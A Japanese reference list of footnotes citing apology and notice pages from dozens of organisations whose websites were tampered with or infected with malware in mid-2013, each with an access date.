*50:(PDF当社の関連ホームページをご覧になった皆さまへのお願い,日本想像教育研究所,2013/06/06アクセス

*51【ホームページ改ざんに関するお詫び − 復旧いたしました】,ビブリオポリ,2013/06/06アクセス:魚拓

*52【当社サイト改竄に関するお詫び】,アーク,2013/06/06アクセス:魚拓

*53弊社サイトの改ざんに関するお詫び,アール・ビー・コントロールズ,2013/06/06アクセス:魚拓

*54ホームページ改ざんに関するお知らせとお詫び,エスペック,2013/06/06アクセス:魚拓

*55札幌市観光情報サイト「ようこそさっぽろ」停止のお知らせ,札幌市,2013/06/07アクセス:魚拓

*56札幌市の観光HP、不正アクセス受け閉鎖,読売新聞,2013/06/07アクセス:魚拓

*57ホームページ一時閉鎖のお知らせ,早稲田スポーツ新聞会,2013/06/07アクセス:魚拓

*58重要なお知らせ(サイト改ざんの被害について),寺本法律会計事務所,2013/06/07アクセス:魚拓

*59:(PDFホームページ改 ホームページ改ざんに関するお知らせとお詫び,函館信用金庫,2013/06/07アクセス

*60:(PDF当社ホームページ改ざんに関するお詫びとご報告,トヨシマ,2013/06/07アクセス

*61ホームページ改ざんに関するお知らせ・一時的な閉鎖とお詫び,浜松グリーンウェーブ,2013/06/07アクセス:魚拓

*62浜松グリーンウェーブ株式会社ウェブサイトへの不正アクセスと改ざん被害の発生について,浜松市,2013/06/07アクセス:魚拓

*63【当社サイト改竄に関するお詫び】,アーク,2013/06/07アクセス:魚拓

*64【当社サイト改竄に関するお詫び】,アーク,2013/06/07アクセス:魚拓

*65ホームページアクセス不能についてのお詫び,上毛新聞TRサービス,2013/06/07アクセス:魚拓

*66サイトの改ざんに関するお詫び,上毛情報TRサービス,2013/06/24アクセス:魚拓

*67:(PDFコンピュータウイルス感染のご報告とお詫び,北恵,2013/06/07アクセス

*68『日報webシステム』サイト改ざんに関する報告とお詫び,アップフィールド,2013/06/07アクセス:魚拓

*69弊社サイト改ざんに関するお詫びとご説明,一幸陶苑,2013/06/07アクセス:魚拓

*70AT-X公式ホームページ改ざんに関するお知らせとお詫び,エー・ティー・エックス,2013/06/07アクセス:魚拓

*71弊社サイトのウィルス感染に関するお詫びとご報告,ミノウラ,2013/06/07アクセス:魚拓

*72サイト復活しました!,日本デオドール,2013/06/07アクセス:魚拓

*73【重要】大富士フットボールクラブホームページは安全に閲覧していただけます。,2013/06/07アクセス:魚拓

*74ファイル改ざん,葉鍼灸院,2013/06/07アクセス:魚拓

*75ホームページのコンピューターウイルス感染のご報告とお詫び,板橋区立成増小学校支援地域本部,2013/06/07アクセス:魚拓

*76【CRAZY TVよりホームページに関するお詫びとお知らせ】,CRAZY TV,2013/06/09アクセス:魚拓

*77ホームページに関するお知らせとお詫び,かなえるリンク,2013/06/09アクセス:魚拓

*78ホームページ改ざんに関するお知らせとお詫び,緑秀会田無病院2013/06/09アクセス:魚拓

*79WEBサイト改ざんに関するお詫びとお知らせ,ドゥ・ハウス,2013/06/09:魚拓

*80ホームページ改ざんに関するお詫びとお知らせ,札幌静修高等学校,2013/06/09アクセス:魚拓

*81緊急システムメンテナンスのお知らせ,日本文化出版株式会社,2013/06/09アクセス:魚拓

*82:(PDFホームページ改ざんに関するお知らせとお詫び,海洋研究開発機構,2013/06/09アクセス

*83「当サイトの改ざんに関するお詫び」,ゑびすや,2013/06/09アクセス:魚拓

*84マルウェア警告に関するお詫びとお願い,すみだ産業会館,2013/06/09アクセス:魚拓

*85電子図書室サービス改ざんに関するお詫びとお知らせ,地盤工学会,2013/06/09アクセス

*86:(PDF不正アクセスによるホームページの改ざんに関するお詫び,愛知・豊川用水振興協会,2013/06/10アクセス

*87弊社サイトの改ざんに関するお詫び,栄信電気工業,2013/06/10アクセス:魚拓

*88当サイトの、全一時停止について・・・,登録紹介宣伝あくせすくん,2013/06/10アクセス:魚拓

*89当社ホームページのウィルス感染に関するお詫びとお知らせ,日本赤十字社,2013/06/10アクセス:魚拓

*90当サイト改ざんに関するお知らせとお詫び,HKS,2013/06/11アクセス:魚拓

*91:(PDF重要なお知らせ ホームページ改ざんに関するお知らせとお詫び,石川県教職員互助会,2013/06/11アクセス

*92:(PDF弊社ホームページ改ざんに関するお詫びとご報告,アクア,2013/06/11アクセス

*93[重要なお知らせ]ホームページ改ざんに関するお知らせとお詫び,国立民族学博物館,2013/06/11アクセス:魚拓

*94当事務所HP改ざんに関するお詫びとお知らせ,長谷川敬税理士事務所,2013/06/11アクセス:魚拓

*95ホームページ改ざんに関するお知らせとお詫び,TokiwagiFC Fan,2013/06/11アクセス:魚拓

*96☆友の会HP再開☆,東京こけし友の会,2013/06/11アクセス:魚拓

*9705月28日から同月31日にかけ、下記3サイトが海外から不正アクセスと改ざんを受けました。,ΜΟΟΥΣΕΊΟΝ,2013/06/11アクセス:魚拓

*98<重要> 当社ホームページ改ざんに関するお詫び,松菱金属工業,2013/06/13アクセス:魚拓

*99お客様にお詫びとお願い,日本グラフィックサービス工業会,2013/06/13アクセス:魚拓

*100「当サイトの改ざんに関するお詫び」,盛岡三菱自動車販売,2013/06/13アクセス:魚拓

*101ホームページ改ざんに関するお知らせ,北海道文化財団,2013/06/13アクセス:魚拓

*102お詫びとお知らせ,現代屋,2013/06/13アクセス:魚拓

*103不正アクセスによるサイト改ざんについて,さうすウェーブ,2013/06/13アクセス:魚拓

*104当院ウェブサイト改ざんに関するお知らせとお詫び,湘南鎌倉総合病院,2013/06/13アクセス:魚拓

*105弊社ウェブページ改ざんに関するお知らせ,HASUNA,2013/06/15アクセス:魚拓

*106ホームページの改ざんに関するお詫びとご報告,日本コンクリート工学会,2013/06/15アクセス:魚拓

*107:(PDFお詫び,ライオン堂,2013/06/15アクセス

*1086月3日〜10日の間でアクセスした方はご覧下さい!,あんしん堂,2013/06/19アクセス:魚拓

*109:(PDFホームページ改ざんに関するお知らせとお詫び,ニルフィスクアドバンス,2013/06/19アクセス

*110:(PDF当社ホームページ改ざんに関するお詫びとご報告,ライブラリーコンテンツサービス,2013/06/19アクセス

*111ウェブサイト改ざんのご報告とお詫び,ヒーリングルーム愛,2013/06/19アクセス:魚拓

*112:(PDF弊社ホームページの改ざんに関するお詫びとご報告,トヨタ自動車,2013/06/19アクセス

*113重要なお知らせ(サイト改ざん被害について),中小企業経営革新支援ネットワーク,2013/06/19アクセス:魚拓

*114重要なお知らせ,DXアンテナ,2013/06/19アクセス:魚拓

*115「当サイトの改ざんに関するお詫び」,新陽ビニール工業,2013/06/19アクセス:魚拓

*116(緊急)情報規格調査会Webサイトの改ざんについて,情報処理学会,2013/06/22アクセス:魚拓

*117弊社サイトのウィルス感染に関するお詫びとご報告,グローバルスズキ,2013/06/22アクセス

*118当サイトへのWEBサイト改ざん被害について,なんぶの湯,2013/06/22アクセス:魚拓

*119弊社ホームページ改ざんに関するお知らせとお詫び,サンコンタクトレンズ,2013/06/23アクセス:魚拓

*120【当サイトの改ざんに関するお詫びとお知らせ】,ときめきドットコム,2013/06/23アクセス:魚拓

*121ご報告とお詫び,WHO's Generation,2013/06/23アクセス:魚拓

*122当部サイトのウィルス感染に関するお詫びとご報告,慶應義塾体育会フェンシング部,2013/06/23アクセス:魚拓

*123お詫び,ナチュラル鍼灸治療院,2013/06/23アクセス:魚拓

*124【ホームページ改ざんに関する、ご報告】,OliveBeauty,2013/06/23アクセス:魚拓

*125ホームページのコンピューターウイルス感染のご報告とお詫び,道の駅サザンセトとうわ,2013/06/23アクセス:魚拓

*126ホームページの改ざんに関するお詫びとお知らせ,FIT,2013/06/30アクセス:魚拓

*127弊社ホームページの改ざんに関するお詫びとご報告,ウチダレック,2013/06/30アクセス:魚拓

*128弊社サイト改ざんに関するお知らせとお詫び,榊電業,2013/06/30アクセス:魚拓

*129不正アクセスによるサイト改ざんに関するご報告,プラスワンリビングハウス,2013/06/30アクセス:魚拓

*130不正アクセスによるサイト改ざんに関するご報告,東邦レオ,2013/06/30アクセス:魚拓

*131:(PDF当サイトへの不正アクセス・改ざんに対する注意喚起とお願い,三菱地所,2013/06/30アクセス

*132二宮町ホームページを閲覧された皆様へ ホームページ改ざんに関するお詫び,二宮町,2013/06/30アクセス:魚拓

*133■■ホームページ改ざんに関するお知らせとお詫び■■,鹿児島大学 共同獣医学部,2013/06/30アクセス:魚拓

*134当ホームページに関するお知らせとお詫び,茨城県警備業協会,2013/06/30アクセス:魚拓

*135重要なお知らせ(サイト改ざんについて),特例民法法人移行手続研究会,2013/06/30アクセス:魚拓

*136お知らせ,兼進刃物製作所,2013/06/30アクセス:魚拓

*137ホームページ改ざんに関するお知らせとお詫び,鹿児島大学大学院臨床心理学研究科,2013/06/30アクセス:魚拓